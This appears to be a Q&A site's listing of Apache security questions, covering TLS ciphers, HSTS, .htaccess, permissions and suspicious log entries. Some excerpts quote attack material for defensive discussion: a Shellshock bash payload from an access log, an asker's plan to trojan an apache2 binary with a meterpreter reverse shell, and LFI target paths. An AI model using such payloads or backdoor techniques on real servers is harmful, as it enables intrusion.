Questions about the security of Apache open source software, especially Apache HTTP Server

learn more… | top users | synonyms

61
votes
2answers
6k views

What was the aim of this invalid HTTP request that tells a story about goats in the request URI?

I currently run an Apache HTTP server, and have set up monitoring to receive emails whenever an error appears in the error logs. I get the usual trying to find if I'm using HTTP 1.0 and trying to see ...
0
votes
1answer
147 views

Strange access in apache's access.log

Does anyone know what that means? I found those today on apache's access logs. Thanks! XX.82.64.68 - - [18/Jan/2016:14:30:45 -0800] "GET /wp-content/themes/Akhbar24/images/alemarah.jpg HTTP/1.0" 404 ...
0
votes
0answers
14 views

SSLVerifyClient on Apache [migrated]

Please excuse any dumb statements regarding this. I am very new to Apache and to HP-UX. I am a SQL Server DBA somehow thrown into this project. I am working to try and implement SSL with Client ...
3
votes
1answer
69 views

Unusual potential vulnerability scan results in Apache logs

Recently I've been seeing entries similar to the following in my Apache access logs. I've replaced the IP address and time with Xs: access_log:xx.xx.xx.xx - - [xx/xx/xx:xx:xx:xx -0100] "GET ...
4
votes
1answer
43 views

HSTS Strict Transport Security: Include base domain

I configured my apache webserver to use HSTS Strict Transport Security. If my domain is example.com, most people visit my website over the subdomain www.example.com. Hence, Strict Transport Security ...
2
votes
2answers
72 views

Apart from uploaded files, how else can 777 permissions on website files/folders be exploited?

I have seen several instances of php websites being compromised due to permissions being set as 777 on the website folders. In these instances the cause was a foreign file uploaded by the attacker. ...
6
votes
3answers
91 views

Crawler massively changing user-agent

This morning I noticed a single IP-address was kinda crawling my website, though it was querying the same page many times in a few minutes. Then I noticed that it was doing that with different ...
1
vote
2answers
59 views

Do secure ciphers break multi-domain certificates?

In the past days, I was halfway successful with securing my websites. So far, I have achieved the following: Get a certificate from letsencrypt.org, securing the domains example1.com, example2.com ...
1
vote
1answer
43 views

phpBB under nginx, htaccess protection is lost – what are the risks?

I'm running phpBB 3.1 on a server that uses nginx not Apache, and due to this, none of the phpBB .htaccess files work, and so files in the document root that are normally protected under Apache, are ...
1
vote
3answers
92 views

Strongest cipher suite in apache 2.4

I am trying to use only the strongest ciper suite available, from the documentation I tried: SSLCipherSuite HIGH:!aNULL:!MD5 But the browser says that it is obsolete: What is the strongest one ...
4
votes
4answers
98 views

Secure environment for servers with sensitive private data

I am developing a web application that will expose a public API to the world, but will store very, very sensitive personal, private data. Having the content hacked would be fatal. I will be using the ...
1
vote
1answer
61 views

Are exposed php class files a security vulnerability?

I'm currently trying to make an old PHP web application a little bit more secure. Currently, the apache setup is such that all of the application's class files are available for user access (although ...
2
votes
1answer
92 views

What ciphersuites does Java 6 support out of the box that are not broken?

I have a legacy application which sits on Java 6(!), and talks to Apache 2.2.15 on RHEL 6.4. (An upgrade for Java 6 is on the cards, but not before go-live date.) We have pentest fails for a weak ...
5
votes
1answer
783 views

Is it safe to email the contents of your .htaccess?

If you assume that you're not on HTTPS or that, at least, the security of your connection is compromised, is it safe to email someone the contents of your site's .htaccess file? I'm a novice in this ...
-3
votes
2answers
123 views

attack on port 80 [closed]

I have a ubuntu ec2 instance server hosting apache2 site & tomcat7 at back end. According to apache logs I have doubt there malicious attack ! Please can anyone confirm it & what can i do to ...
4
votes
1answer
31 views

Is it alright to put .htpasswd in the protected directory if there's just one user?

I'm setting up a directory on an Apache server protected with mod_authn_file. The docs for AuthUserFile say not to put the .htpasswd file in the protected directory: Make sure that the ...
-3
votes
2answers
77 views

Is it possible to stop an SSL Certificate from being portable between servers? [closed]

From what I read it seems that the certificate isn't a big deal since it's already public, and downloaded by every browser, however if someone gets hold of your key file, then you have an issue.
3
votes
1answer
148 views

CVE-2015-4852: Infected traffic pattern

Assuming that my Weblogic server is compromised by this vulnerability, what would the traffic pattern look like? I'm assuming I would see HTTP requests attempting to make connections directly from ...
1
vote
1answer
65 views

What type of authentication should I use, basic or digest? [duplicate]

I know that it is strongly recommended to use both basic and digest authentification with https. Many say that if you use SSL, there are no advandages in using digest auth, and basic auth is safe ...
-3
votes
1answer
21 views

LFI attacks auth.log , environ , passwd [closed]

paths like /proc/self/environ , /etc/passwd and /var/log/auth.log are targeted by the attackers. how can I hide those files ( passwd ) ( environ ) ( auth.log ) to be not include in LFI attack
1
vote
1answer
104 views

Strange Log in Apache

I found in my Apache log something strange in requested URL / method request (I suspect an attempt to hack): ...
2
votes
0answers
36 views

Cloned site with tricky HTTP_HOST

Another site has cloned mine. The site in question is netdna-cdn.com, and if you do a search on Google ("site:netdna-cdn.com") you will see it has cloned 100's if not 1000's of sites. So in times ...
4
votes
1answer
57 views

What attacks new Apache 2.0 vulnerable to?

I am new to Security field and still learning how all the attacks works. for my testing, I have implemented Apache 2.0 on a Cent OS virtual machine. I have created another machine using FreeBSD, ...
0
votes
1answer
183 views

How to implement token based api for rest api in java?

I am working on a project, and I came here in this moment, where I now need authorization thing. I am using Apache Shiro for my web interface, but as long as mobile web-apps are concerned, I hardly ...
4
votes
2answers
277 views

How should I block unwanted domain names? [duplicate]

I have noticed that someone pointed his domain to my dedicated IP address and now my website can be viewed using his domain name @ example.com . This can hurt my SE Traffic and SEO in many ways. How ...
1
vote
1answer
67 views

Strange entry in Apache's ports.conf

I am not sure if this may indicate a compromised server or if I'm just being paranoid. While fiddling around with Apache and Webmin on a new Ubuntu 14.04 virtual server (as well as DNS records for ...
1
vote
1answer
271 views

SNI (server name indication) with SSL

Is it possible to use SNI (server name indication) in SSLv3 or SSLv2 handshake? From the search queries, it seems SNI is TLS extension. Is there any alternate to SNI?
0
votes
1answer
943 views

PHP mallware attack [duplicate]

I'm desprate because my site has been attacked by some malware that adds code below on every php files. I tried to edit and chmod the infected file but its coming back. Scanning with ClamAV found ...
3
votes
2answers
202 views

Disable directory browsing using Apache htaccess file

TL;DR What are the risks and downsides associated with allowing Options -Indexes to work in arbitrary .htaccess files on a shared Apache web host? Context Apache web server configuration Linux ...
3
votes
0answers
1k views

Apache vs Jetty with regard to Security

I am trying to design the architecture of an app that will run on an AWS Linux AMI, inside of a Docker container. The app will deal with sensitive financial data, so security is top priority. The app ...
0
votes
0answers
136 views

Injecting meterpreter/reverse_tcp into apache2 with msfvenom results in seg fault of apache2

I've been trying to use msfvenom with the linux/x86/meterpreter/reverse_tcp payload and an apache2 binary. My intent is to create a tainted version of apache2 to establish a persistent backdoor on the ...
3
votes
3answers
397 views

iptables rule to ban and redirect malicious traffic

I'm running Apache 2 and after analysing the access_log I discovered that my website is visited more than 800 times a day (today 924) from majestic.co.uk bot. The bot use this range of IP addresses: ...
0
votes
0answers
48 views

Apache SSL proxy or Jetty with SSL via keystore to app?

Our team is debating two deployment methods for a RESTful web application. Run the app under http with an embedded Jetty server, but fronted by Apache - Apache would handle the SSL/TLS. Install our ...
0
votes
1answer
165 views

How do configure Apache to resolve 'Missing Cross-Frame Scripting Defence' by app scan [closed]

There is an apache server hosting some website written in PHP and is accessible thru internet. How do configure the apache to resolve 'Missing Cross-Frame Scripting Defence' and can 'Missing ...
1
vote
3answers
137 views

Where to place PHP files for security?

A simple question, where do you place PHP files on a server? I can't seem to find any good information on this. Obviously public files should be in the document root somewhere/somehow, since they ...
3
votes
1answer
118 views

Protect against cgi-bin/php attacks centos

I am facing some strange attack while I was checking Apache logs: OST ...
-2
votes
1answer
77 views

Using a index.php script in my iOS app, what should I do to secure it?

I am really new using web servers and security. I have just written a backend for my iOS app in PHP. It's hosted on a Linode apache server. The index.php us located at http://www.example.com/API/. I'm ...
6
votes
3answers
1k views

How can I defend against malicious GET requests?

My server is getting hit with a variety if requests like the following: Started GET "/key/values" ActionController::RoutingError (No route matches [GET] "/key/values") Started GET "/loaded" ...
2
votes
2answers
253 views

Why does StartTLS block connection to apache

When I run this command: openssl s_client -connect my.server:443 -starttls smtp Why does Apache 2.4 & OpenSSL 1.0.1h(running on server 2008R2) stop responding to request from other machines ? ...
2
votes
0answers
107 views

Obtaining large data sets for research: MySQL, PHP, Apache, etc

I have been looking around the web for large data sets (specifically web related log files - MySQL, PHP, Apache, and so on) that contains data of attempted intrusions/exploits. I am doing some ...
2
votes
1answer
96 views

How to Develop Waf as Service [closed]

Recently, I've started a my educational project WAF as service. To develop this project as per my view, following things are required: Web Application Firewall is in-line with the web servers; it ...
0
votes
3answers
449 views

Is it possible to get Network Domain from Client with PHP or Apache? [closed]

I'm working on a solution to identify client Network Domain or Workgroup in a private network. Based on it, I must change some access permissions. I can't do that through IP address because it isn't ...
1
vote
2answers
100 views

Can Client Certificates be tied to a Specific Server Certificate?

I have a Root Certificate Authority and and Intermediate Certificate Authority. I have created a certificate for the server. SSL on Apache is working fine. Browser recognizes my Chain of Trust with ...
0
votes
0answers
94 views

Correct permissions for /runtime and /assets folders

Could you suggest how to properly configure the right directories in CentOS 6.6? On a server running a framework Yii, which works with the runtime directories and assets. For these directories I need ...
2
votes
1answer
100 views

What does this attack string do? How do I mitigate it?

Today I decided to run the apache-scalp script and it found a few issues. One was ranked as Impact 5, and I'd like to know if someone could explain what this does, and how to disable it? The request ...
2
votes
2answers
86 views

HPKP and multiple SSL certificates

Some weeks ago, we enabled the HTTP Public Key Pinning header on our website. As per the specification, we included not only the SHA-256 fingerprint of our current RSA key, but also that of a backup ...
1
vote
1answer
52 views

Safely sharing session accross sub-domains

So I have a web service that is to be split up over several sub-domains. So app1.xyz.com and app2.xyz.com. Because Safari (last time I checked) does not allow for cookies to be shared across ...
-3
votes
1answer
513 views

insecure HTTP Methods Enabled — how to control? [closed]

Here I am new to insecure HTTP Methods Enabled. The server allows HTTP methods that are considered dangerous. The following methods were enabled: PUT,DELETE Software used: ...
3
votes
1answer
200 views

Strange apache log line [duplicate]

I just came across this entry on one of my servers: 213.165.70.245 - - [17/Jun/2015:01:58:22 +0200] "GET / HTTP/1.1" 404 442 "() { :;}; /bin/bash -c \"echo 109.234.106.8/ > ...
1
vote
2answers
481 views

how to do 2 way ssl authentication without using a self signed CA

I have a requirement to set a 2 mutual ssl authentication between our apache and an application. I have purchased a cheap SSL from rapid SSL in order to do this. RapidSSL sent a zip folder with ...